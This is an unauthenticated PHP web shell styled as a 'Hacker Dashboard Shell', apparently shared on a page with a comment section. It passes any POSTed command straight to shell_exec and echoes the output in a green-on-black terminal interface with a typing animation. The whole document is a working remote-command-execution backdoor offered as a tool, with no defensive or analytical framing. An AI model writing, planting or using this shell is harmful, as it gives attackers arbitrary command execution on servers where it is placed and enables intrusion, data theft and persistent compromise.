hacker
<?php
if (isset($_POST['cmd'])) {
$cmd = $_POST['cmd'];
$output = shell_exec($cmd);
echo json_encode(["output" => $output]);
exit;
}
?>
<!DOCTYPE html>
<html lang="en">
<head>
<meta charset="UTF-8">
<meta name="viewport" content="width=device-width, initial-scale=1.0">
<title>Hacker Dashboard Shell</title>
<style>
body {
background-color: black;
color: #00ff00;
font-family: 'Courier New', monospace;
text-align: center;
}
#terminal {
width: 80%;
height: 60vh;
background: #111;
color: #00ff00;
border: 2px solid #00ff00;
padding: 10px;
margin: auto;
overflow-y: auto;
text-align: left;
white-space: pre-wrap;
}
input {
width: 80%;
background: black;
color: lime;
border: 1px solid lime;
padding: 5px;
font-size: 18px;
}
.cursor {
display: inline-block;
width: 8px;
height: 18px;
background: lime;
animation: blink 0.8s infinite;
}
@keyframes blink { 50% { opacity: 0; } }
</style>
</head>
<body>
<h1>💻 Hacker Dashboard Shell</h1>
<div id="terminal"></div>
<br>
<input type="text" id="cmd" placeholder="Enter command..." autofocus onkeypress="if(event.keyCode==13) runCommand();">
<script>
function runCommand() {
let cmd = document.getElementById("cmd").value;
let terminal = document.getElementById("terminal");
terminal.innerHTML += "root@hacker:~$ " + cmd + "\n";
terminal.scrollTop = terminal.scrollHeight;
fetch("", {
method: "POST",
headers: { "Content-Type": "application/x-www-form-urlencoded" },
body: "cmd=" + encodeURIComponent(cmd)
})
.then(response => response.json())
.then(data => {
let outputText = data.output || "No output";
typeEffect(outputText, terminal);
});
document.getElementById("cmd").value = "";
}
function typeEffect(text, element) {
let index = 0;
function type() {
if (index < text.length) {
element.innerHTML += text.charAt(index);
index++;
setTimeout(type, 10);
} else {
element.innerHTML += "\n";
element.innerHTML += "root@hacker:~$ ";
element.scrollTop = element.scrollHeight;
}
}
type();
}
</script>
</body>
</html>
Please sign in to leave a comment.
Comments
0 comments